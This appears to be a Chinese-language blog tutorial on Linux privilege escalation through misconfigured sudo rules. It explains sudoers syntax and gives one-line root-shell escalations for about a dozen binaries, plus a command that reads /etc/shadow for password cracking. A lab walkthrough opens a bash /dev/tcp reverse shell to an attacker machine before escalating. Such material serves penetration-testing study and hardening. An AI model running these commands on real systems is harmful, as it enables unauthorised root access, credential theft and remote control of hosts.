[权限提升] Linux 提权 维持 — 系统错误配置提权 - Sudo 滥用提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:Sudo 滥用提权原理
Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时间,同时也提高了系统安全性。
在一些应用场景中,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些 SUDO 权限给运维账号,而 SUDO 权限的授予则是在 /etc/sudoers 文件中进行操作。
0x0101:Sudo 基础 — Sudo 权限的授予
授予 Sudo 权限是在 /etc/sudoers 文件中以特定格式编辑规则授予的,所以我们需要先来了解一下编辑的规则:

username ALL=(ALL) NOPASSWD: /usr/bin/awk# username => 被授予 Sudo 权限的用户# ALL= => 表示允许从任何终端访问 sudo# (ALL) => 运行身份,ALL 表示可以以任意身份执行命令,不仅仅是 root 哦,不过默认是 root# NOPASSWD: => 可选,添加上了表示执行后面的命令不需要密码# /usr/bin/awk => 表示可以被 sudo 运行的命令
下面是一些常见的 Sudo 权限授予的示例:
# 允许用户 alice 以任意身份(默认 root)运行所有的命令(需要密码)alice ALL=(ALL) ALL# 允许用户组 wheel 中的用户以任意身份运行所有命令%wheel ALL=(ALL) ALL# 允许用户 bob 以 root 身份运行特定命令bob ALL=(ALL) /usr/bin/vi, /usr/bin/ls# 允许用户 bob 以 www-data 身份运行特定命令,不需要密码bob ALL=(www-data) NOPASSWD: /usr/bin/awk
0x0102:Sudo 基础 — 查看当前用户可以用 Sudo 执行的命令
可以使用下面两条命令中的任意一条查看当前用户可以用 Sudo 执行的命令:
cat /etc/sudoers # 这个需要权限,我们一般查看不了sudo -l # 这个命令有时候不用密码也能运行
不过呢,可惜的是,这两条命令都需要一定的权限或者知道当前用户的密码:


不过笔者测试了一下,sudo -l 这个命令好像被授予了 Sudo 权限的用户执行是可以直接查看内容的,不用输入密码,上面的 defender 用户笔者在测试时是没有授予任何 Sudo 权限的:

0x02:Sudo 滥用提权姿势
Sudo 提权的原理与之前讲解的 [[Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权|SUID 文件提权]] 有异曲同工之妙,都是结合权限与命令的特性进行提权。下面是笔者收集的一些可以进行 Sudo 提权的命令,如果 Sudo 配置文件中配置了 ALL 或者以下命令就可以进行提权:
apt、awk、bash、cat、ed、env、ftp、find、git、less、man、perl、pip、scp、screen、sed、tar、taskset、time、tmux、vi、vim、wget、xxd、zip
0x0201:awk — Sudo 提权姿势
sudo awk 'BEGIN {system("/bin/sh")}'
0x0202:vim — Sudo 提权姿势
sudo vim -c '!sh'
0x0203:xxd — Sudo 提权姿势
xxd 命令有些特殊,无法直接拿到一个 Root 权限的 Shell,但是可以查看 shadow 文件,然后通过爆破拿到 Root 密码后进行提权:
sudo xxd "/etc/shadow" | xxd -r
0x0204:env — Sudo 提权姿势
sudo env /bin/sh
0x0205:perl — Sudo 提权姿势
sudo perl -e 'exec "/bin/sh";'
0x0206:zip — Sudo 提权姿势
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
0x0207:sed — Sudo 提权姿势
sudo sed -n '1e exec sh 1>&0' /etc/passwd
0x0208:find — Sudo 提权姿势
sudo find /etc/passwd -exec /bin/sh \;
0x0209:git — Sudo 提权姿势
1. git — Sudo 提权环境配置
首先以 Root 身份登录 Linux 系统中,编辑 /etc/sudoers 文件,添加下面这行内容,为 test01 用户赋予 git 的无密码运行 Sudo 权限(需要用 :wq! 退出编辑):
test01 ALL=(ALL) NOPASSWD: /usr/bin/git

2. git — Sudo 提权姿势教程
git 的 Sudo 提权比较特别,需要使用两条命令(后面还有几条命令用法与 git 是一样的)。切换到 test01 用户,输入下面的命令:
sudo git help config

然后键盘再输入下面的命令进行提权:
!/bin/sh


0x0210:ftp — Sudo 提权姿势
ftp 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo ftp
!/bin/sh
0x0211:less — Sudo 提权姿势
less 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo less /etc/hosts
!sh
0x0212:ed — Sudo 提权姿势
ed 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo ed
!/bin/sh
0x0213:man — Sudo 提权姿势
man 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo man man
!/bin/sh
0x03:Sudo 滥用提权实战
复现环境
靶机 CentOS 7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.136
0x0301:拿到靶机低权限用户 Shell
提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:
nc -lvp 7777
然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看当前用户可以执行 Sudo 的命令
输入下面的命令查看当前用户可以使用 Sudo 执行的命令:
sudo -l

如上,发现 Vim 可以使用 Sudo 执行,且不需要输入密码。
0x0303:Sudo 提权
使用前面介绍的对应命令的 Sudo 提权姿势进行提权:
sudo vim -c '!sh'

相关文章:
[权限提升] Linux 提权 维持 — 系统错误配置提权 - Sudo 滥用提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客 0x01:Sudo 滥用提权原理 Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时…...
【算法】快速排序算法的实现:C 和 C++ 版本
1. 算法简介 快速排序(Quick Sort)是由英国计算机科学家霍尔(C.A.R. Hoare)在1960年提出的一种高效的排序算法。它采用了分治法(Divide and Conquer)策略,通常具有很好的性能。在平均情况下,快速排序的时间复杂度为 O(n log n),但在最坏情况下可能退化为 O(n^2),不过…...
如何修改IDEA的maven远程仓库地址
IDEA自动的maven的远程仓库地址为国外地址,导致下载依赖时很慢,通过如下方法可以将其修改为国内地址 选中模块,右击,创建setting.xml文件 添加阿里仓库地址 <mirrors><mirror><id>nexus-aliyun</id><…...
LLMs之DeepSeek r1:TinyZero(复现 DeepSeek R1 Zero 的核心功能)的简介、安装和使用方法、案例应用之详细攻略
LLMs之DeepSeek r1:TinyZero(复现 DeepSeek R1 Zero 的核心功能)的简介、安装和使用方法、案例应用之详细攻略 目录 TinyZero的简介 1、TinyZero的特点 TinyZero的安装和使用方法 1、安装 创建 conda 环境 数据准备 (倒计时任务) 训练执行 单GPU (适用于模型…...
亚博microros小车-原生ubuntu支持系列:23 人脸识别追踪
背景知识: 本节跟上一篇的物体识别追踪类似,换了opencv的函数来做人脸识别 函数定义如下: detectMultiScale(image, scaleFactor, minNeighbors, flags, minSize, maxSize)scaleFactor参数控制每个图像序列的缩放比例。该参数决定了在每个…...
[7] 游戏机项目说明
[7] 游戏机项目说明 在这节课中,我们将学习如何基于FreeRTOS开发一个简单的游戏项目。我们会使用一个开源项目nwatch,它是一个基于STM32的开源手表,包含了三个游戏。我们的目标是将这个游戏移植到我们的开发板上,并逐步使用FreeR…...
Kubernetes之kube-proxy运行机制分析
一、基础知识 1.Kubernetes再创建服务时会为服务分配一个虚拟IP地址,客户端通过这个虚拟Ip地址来访问服务,而服务则负责将请求转发到后端pod上。 2.上述阐述的过程为一个反向代理的过程,但是这个反向代理和普通的反向代理的区别是它的IP地址是…...
微信小程序调用企业微信客户服务插件联通企业微信客服
需求背景:用户在小程序页面点击按钮添加企业微信的客服 相关技术:基于uniapp开发的微信小程序 插件名称:企业微信客户服务插件「联系我」插件 - 文档 - 企业微信开发者中心 仔细阅读文档「联系我」插件 - 文档 - 企业微信开发者中心 以下是我的实例代码 1.首先先小程序管…...
如何解决 javax.xml.crypto.dsig.TransformException: 转换异常问题?亲测有效的解决方法!
1. 问题分析 1.1 异常描述 javax.xml.crypto.dsig.TransformException 是在使用 Java XML 加密和签名 API 时,发生的一个常见异常。它通常出现在 XML 数字签名的转换过程中,可能是由于签名、加密或验证过程中发生了错误。 1.2 异常场景 该异常通常发…...
【AI实践】deepseek支持升级git
当前Windows 11 WSL的git是2.17,Android Studio提示需要升级到2.19版本 网上找到指导文章 安装git 2.19.2 cd /usr/src wget https://www.kernel.org/pub/software/scm/git/git-2.19.2.tar.gz tar xzf git-2.19.2.tar.gz cd git-2.19.2 make prefix/usr/l…...
git 子模块管理(一个仓库中有多个子仓库)
使用 Git 子模块管理 B 和 C 仓库 在A仓库中维护B和C仓库 进入 A 仓库: 添加 B 和 C 作为子模块: git submodule add https://your-repo-url/B.git B-repo git submodule add https://your-repo-url/C.git C-repo git commit -m "Add B and C a…...
Maven 安装配置(完整教程)
文章目录 一、Maven 简介二、下载 Maven三、配置 Maven3.1 配置环境变量3.2 Maven 配置3.3 IDEA 配置 四、结语 一、Maven 简介 Maven 是一个基于项目对象模型(POM)的项目管理和自动化构建工具。它主要服务于 Java 平台,但也支持其他编程语言…...
w196Spring Boot高校教师科研管理系统设计与实现
🙊作者简介:多年一线开发工作经验,原创团队,分享技术代码帮助学生学习,独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取,记得注明来意哦~🌹赠送计算机毕业设计600个选题excel文…...
Flutter初相识
资料 1、中文官网:安装和环境配置 | Flutter 中文文档 - Flutter 中文开发者网站 - Flutter 2、线上编写网站:DartPad 构建第一个Flutter应用 class MyApp extends StatelessWidget {const MyApp({Key? key}) : super(key: key);overrideWidget bui…...
(1/100)每日小游戏平台系列
每日小游戏平台 项目简介以及地址 准备开发一个一百天小游戏平台,使用Flask构建的简单游戏导航网站,无需登录,让大家在返工的同时也可以愉快的摸鱼玩耍。 每天更新一个小游戏上传,看看能不能坚持一百天。 这些小游戏主要使用前端…...
IMX6ULL环境搭建遇到的问题和解答更新
IMX6ULL环境搭建遇到的问题 开发板:正点原子IMX6ULL 终端软件串口控制:MobaXterm 1、网络环境搭建三方互ping不通 电脑无网口,使用绿联USB转网口,接网线直连开发板,电脑WiFi上网 按文档设置的 IP 地址,以…...
具身智能学习规划
具身智能(Embodied Intelligence)强调智能体通过身体与环境的动态交互实现学习和决策,是人工智能、机器人学、认知科学和神经科学交叉的前沿领域。其核心在于打破传统AI的“离身认知”,将智能与物理实体、感知-运动系统紧密结合。…...
kafka生产端之拦截器、分区器、序列化器
文章目录 拦截器序列化器分区器 拦截器 拦截器(Interceptor)是早在Kafka0.10.0.0中就已经引入的一个功能,Kafka一共有两种拦截器:生产者拦截器和消费者拦截器。本节主要讲述生产者拦截器的相关内容,有关消费者拦截器的…...
BFS算法篇——广度优先搜索,探索未知的旅程(上)
文章目录 前言一、BFS的思路二、BFS的C语言实现1. 图的表示2. BFS的实现 三、代码解析四、输出结果五、总结 前言 广度优先搜索(BFS)是一种广泛应用于图论中的算法,常用于寻找最短路径、图的遍历等问题。与深度优先搜索(DFS&…...
FPGA VGA timing
概念 VGA(Video Graphics Array)时序是控制VGA接口显示图像的关键参数,它主要包括行时序和场时序两部分。以下是对VGA时序的详细解释: 一、VGA接口简介 VGA接口是IBM公司在1987年推出的一种使用模拟信号的视频传输标准,具有成本低、结构简单、应用灵活等优点,至今仍被广…...
pytest生成报告no tests ran in 0.01s
除了基本的环境配置、用例名要以test_开头,有个地方是我自己忽略了,在执行时没有指定用例文件,所以没有找到。 if __name__ __main__:pytest.main(["testcases/test_demo.py","-svq", __file__, --alluredir./allure-r…...
Django开发入门 – 0.Django基本介绍
Django开发入门 – 0.Django基本介绍 A Brief Introduction to django By JacksonML 1. Django简介 1) 什么是Django? 依据其官网的一段解释: Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design. …...
数巅科技中标科学城数科集团AI辅助企业数字化转型评估诊断
自2023年以来,财政部和工信部连续发布通知,强调要做好中小企业数字化转型城市试点工作,鼓励试点城市大力支持优质数字化服务商,研发攻关一批“小快轻准”数字化产品和解决方案,助力制造业关键领域的中小企业实现数字化…...
Linux proc虚拟文件系统
文章目录 简介proc常用节点pid节点procfs接口参考 简介 测试环境:Linux dev-PC 5.18.17-amd64-desktop-hwe #20.01.00.10 SMP PREEMPT_DYNAMIC Thu Jun 15 16:17:50 CST 2023 x86_64 GNU/Linux proc虚拟文件系统是linux内核提供的一种让用户和内核内部数据结构进行交…...
idea整合deepseek实现AI辅助编程
1.File->Settings 2.安装插件codegpt 3.注册deepseek开发者账号,DeepSeek开放平台 4.按下图指示创建API KEY 5.回到idea配置api信息,File->Settings->Tools->CodeGPT->Providers->Custom OpenAI API key填写deepseek的api key Chat…...
局域网内别的电脑怎么连接到对方的mysql数据库
要让局域网内的其他电脑连接到一台主机上的 MySQL 数据库,你需要进行一些配置,包括 MySQL 服务器的设置、权限调整,以及客户端连接的步骤。以下是详细的步骤说明: 1. 确保 MySQL 服务器允许远程连接 默认情况下,MySQL 服务器可能只允许本地连接(localhost)。你需要修改…...
加速汽车软件升级——堆栈刷写技术的应用与挑战
一、背景和挑战 | 背景: 当前汽车市场竞争激烈,多品牌并存,新车发布速度加快,价格逐渐降低,功能日益多样化。随着车辆功能的不断提升与优化,ECU(电子控制单元)的代码量也随之增加&…...
2. UVM的基本概念和架构
文章目录 前言1. UVM的基本概念1.1 UVM的核心组件1.2 UVM的基本架构1.3 UVM的工作流程 2. UVM的架构2.1 UVM的层次结构2.2 UVM的组件交互 3. 总结 前言 首先,得确定UVM的基本概念和架构包含哪些关键部分。我回忆起UVM的核心组件,比如uvm_component、uvm…...
【力扣】138.随机链表的复制
AC截图 题目 代码 使用哈希存储<旧节点,新结点> /* // Definition for a Node. class Node { public:int val;Node* next;Node* random;Node(int _val) {val _val;next NULL;random NULL;} }; */class Solution { public:Node* copyRandomList(Node* hea…...
防火墙、堡垒机和NAT
在网络安全中,防火墙、堡垒机(Cloud Monitoring and Protection Machine)和网络地址转换(NAT) 是三种核心设备,用于防御外来的访问和破坏性攻击。然而,这三种设备本身也可能面临多种网络安全威胁…...
